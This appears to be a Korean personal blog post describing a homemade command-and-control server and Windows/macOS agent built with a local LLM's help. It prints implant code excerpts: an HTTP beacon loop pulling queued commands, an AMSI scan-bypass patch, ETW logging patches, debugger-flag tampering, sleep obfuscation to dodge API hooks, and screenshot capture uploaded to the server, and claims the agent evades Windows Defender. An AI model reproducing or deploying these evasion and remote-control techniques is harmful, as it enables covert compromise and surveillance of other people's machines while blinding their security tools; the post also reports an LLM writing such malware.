IT/Hack

- 자작 C2 서버 제작기 -

4sterisk 2026. 5. 13. 23:32

간단한 C2 서버를 LLM 을 활용해 제작해보았다.

LLM 모델은 qwen3.6_35b_a3b_q8. 

이 모델을 활용해 c2 서버를 제작해 보았습니다.

HTTP-polling 기반의 명령-응답 구조이며, agent는 macOS, Windows 를 지원합니다.


1. 통신 계층

// common.c:161
header_len = snprintf(header_buf, sizeof(header_buf),
    "%s %s HTTP/1.0\r\n"
    "Host: %s\r\n"
    "Content-Type: application/json\r\n"
    "Content-Length: %d\r\n"
    "\r\n",
    method, path, host_header, (int)strlen(body));

HTTP/1.0 요청을 raw socket 으로 직접 보냅니다. 외부 라이브러리 의존성을 완전히 배제한 설계입니다.

링크타임/런타임 의존성이 전혀 없기 때문에, 임베디드 환경에서도 동작이 가능한 것이 장점입니다.

단점은, HTTP/1.0이라 keep-alive 미지원. 매 beacon 마다 TCP 연결이 뜯어집니다.

 

응답 파싱도 수동으로 합니다.

// common.c:207
if (i > 0 && i + 3 < n &&
    buf[i] == '\n' && buf[i-1] == '\r' &&
    buf[i+1] == '\r' && buf[i+2] == '\n') {
    headers_done = 1;

간단하지만 확장성이 떨어지는 설계입니다(추후 보강).


2. Beacon 패턴 - 수동 Polling

핵심 루프

// agent.c:692
while (1) {
    if (beacon(agent_id, command, sizeof(command)) == 0) {
        if (strlen(command) > 0) {
            // command execute
            send_result(agent_id, result);
        }
    }
    sleep_obfuscation(POLL_INTERVAL * 1000);
}

beacon()은 c2서버의 http_request("GET")로 GET /beacon/{id} 를 호출합니다. 서버가 명령을 큐에 쌓아두면 (command_queue[agent_id]), 에이전트가 5초마다 들여다보는 방식입니다.

 

지터(jitter)가 있지만 POLL_INTERVAL 이 5초로 고정값이고, jitter는 sleep 시간에만 적용되어 beacon 패턴이 규칙적으로 보입니다.

// agent.c:364
unsigned long jitter = (rand() % (base_ms)) + (base_ms / 2);

3. Windows Evasion Suite

AMSI Bypass

// agent.c:280-283
VirtualProtect(fn, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
unsigned char patch[] = { 0x31, 0xC0, 0xC2, 0x04, 0x00 };
memcpy(fn, patch, sizeof(patch));

0x31 0xC0 = xor eax, eax (return 0)

0xC2 0x04 0x00 = ret 4

 AMSI 스캔을 항상 true로 거짓말하는 패치입니다.

 

ETW Bypass

7개의 ETW 함수에 0xC3 (RET) 단일 바이트를 패치합니다. Event Tracing for Windows 로그를 끕니다.

 

PEB Bypass

#if defined(_M_IX86)
        void *peb;
        __asm {
            mov eax, fs:[0x30]
            mov peb, eax
        }
    #elif defined(_M_X64)
        void *peb = (void *)__readgsqword(0x60);
    #else
        void *peb = (void *)__readgsqword(0x60);
    #endif
    ((char *)peb)[2] = 0;

PEB(Process Environment Block) 의 beingDebugged 플래그를 직접 0으로 만듭니다.

x64전용은 (__readgsqword(0x60)

x86은 inline asm(fs:[0x30]) 을 사용합니다.

 

Sleep Obfuscation

NTDELAYEXECUTION_T NtDelayExecution = (NTDELAYEXECUTION_T)GetProcAddress(ntdll, "NtDelayExecution");
if (NtDelayExecution) {
    LARGE_INTEGER li;
    li.QuadPart = -(LONGLONG)(total * 10000);
    NtDelayExecution(FALSE, &li);
}

Sleep() 대신 NtDelayExecution()을 사용해 API Hooking 우회 + 지터 추가.


4. 스크린샷 기능

// agent.c:63-83 (Windows)
snprintf(cmd, sizeof(cmd), "powershell -Command \"Add-Type -AssemblyName System.Windows.Forms; ... $bmp.Save('%s', [System.Drawing.Imaging.ImageFormat]::Png)\"");

윈도우 버전의 스크린샷 코드입니다.

// agent.c:98-99 (macOS)
snprintf(screencmd, sizeof(screencmd), "screencapture -x '%s' 2>&1", tmpfile);

맥OS 버전의 스크린샷 코드입니다.

 

캡처 -> 파일 읽기 -> base64인코딩 -> POST /api/screenshot 업로드.

base64인코딩은 외부 라이브러리 없이 구현했습니다.

// common.c:300-315
char* base64_encode(const unsigned char* data, int len, char* output, size_t output_len) {
    ...
    while (i < len) {
        if (i + 2 < len) {
            output[j++] = base64_chars[p[i] >> 2];
            output[j++] = base64_chars[((p[i] & 0x03) << 4) | (p[i+1] >> 4)];
            output[j++] = base64_chars[((p[i+1] & 0x0f) << 2) | (p[i+2] >> 6)];
            output[j++] = base64_chars[p[i+2] & 0x3f];

base64 인코딩 일부입니다.

// agent.c:139
size_t required_b64 = ((file_size + 2) / 3) * 4 + 1;
char *b64 = (char *)malloc(required_b64);

사이즈를 동적할당하여 버퍼 오버플로우 버그를 수정하였습니다.


5. 서버

// server.py:442 (서버 시작)
server = ThreadedHTTPServer(('0.0.0.0', 8080), C2Handler)

서버 시작 코드입니다.

socketserver.ThreadingMixIn 으로 동시 에이전트 처리, 내장 HTML/JS 대시보드로 interactive shell ui를 제공하지만, UI만 interactive할 뿐 실제 동작은 그렇지 못합니다.

# server.py:218-225
def do_PUT(self):
    if self.path.startswith('/command/'):
        agent_id = self.path.split('/')[-1]
        body = self.rfile.read(content_length)
        data = json.loads(body.decode())
        cmd = data.get('command', '')
        command_queue[agent_id] = cmd

명령 전송은 PUT /command/{agent_id} 로 큐에 넣고, 에이전트가 beacon으로 받아가는 pull 방식입니다.

// server.py:668-692 (에이전트 목록 폴링)
function pollAgents() {
    fetch('/api/agents').then(r => r.json()).then(agents => { ... });
}
// server.py:929
setInterval(pollAgents, 3000);
// server.py:722 (선택된 에이전트 결과 폴링)
pollingInterval = setInterval(() => pollResult(id), 1000);

대시보드 JS 의 polling 구조


작동

whoami
dir
screenshot

스크린샷 작동 사진입니다.

서버 실행

서버 파이썬의 실행 화면입니다. 파이썬으로 작성되었으며 포트 8080 번에서 신호를 받습니다.

agent 실행

클라이언트 실행 화면입니다. 스크린샷과 더불어 다양한 명령을 처리해서 C2 서버로 보냅니다.


소소한 Troubleshooting

여기까지는 구현 방식과 그 작동원리에 대해 알아보았습니다.

필자는 맥에서 윈도우 vm 을 구동하여 테스트를 하였는데, vm의 network 설정을 Wi-Fi 로 설정하니 한가지 문제가 발생하였습니다.

특정 장소(공공장소)에 가면 일어나는 문제였는데, 공유기의 Client isolation기능이 켜져있으면 발생하는 문제입니다.

윈도우(VM)와 hostOS인 맥OS가 통신을 못하는 것이었는데(ip로 접속이 안됨), 이를 해결하기 위해 필자의 홈서버를 이용하였습니다.

이렇게, 공인 ip에 접속할 수 있다는 점을 이용하여 윈도우 agent가 홈서버의 9999번 포트로 접속을 하면

맥에서 ssh tunnel을 열어 홈서버의 9999 번 포트로 오는 데이터를 MacOS의 localhost:8080 으로 터널링합니다.

이렇게 함으로 client isolation이 있는 곳에서도 ssh tunnel만 열면 agent가 맥 으로 접속할 수 있게 됩니다.


끝으로 

이렇게 해서 간단한 C2 서버를 만들어 보았습니다. 

개선할 점이 많지만 일단 windows defender를 우회하고, 명령을 수행하는 기본적인 역할을 수행하는 agent와, 큐를 이용해 명령을 전달하는 서버를 만들며 보안의 중요성을 한 번 더 인지하게 됩니다...

 

더 개선하여 다음 블로그 포스팅으로 찾아뵙겠습니다!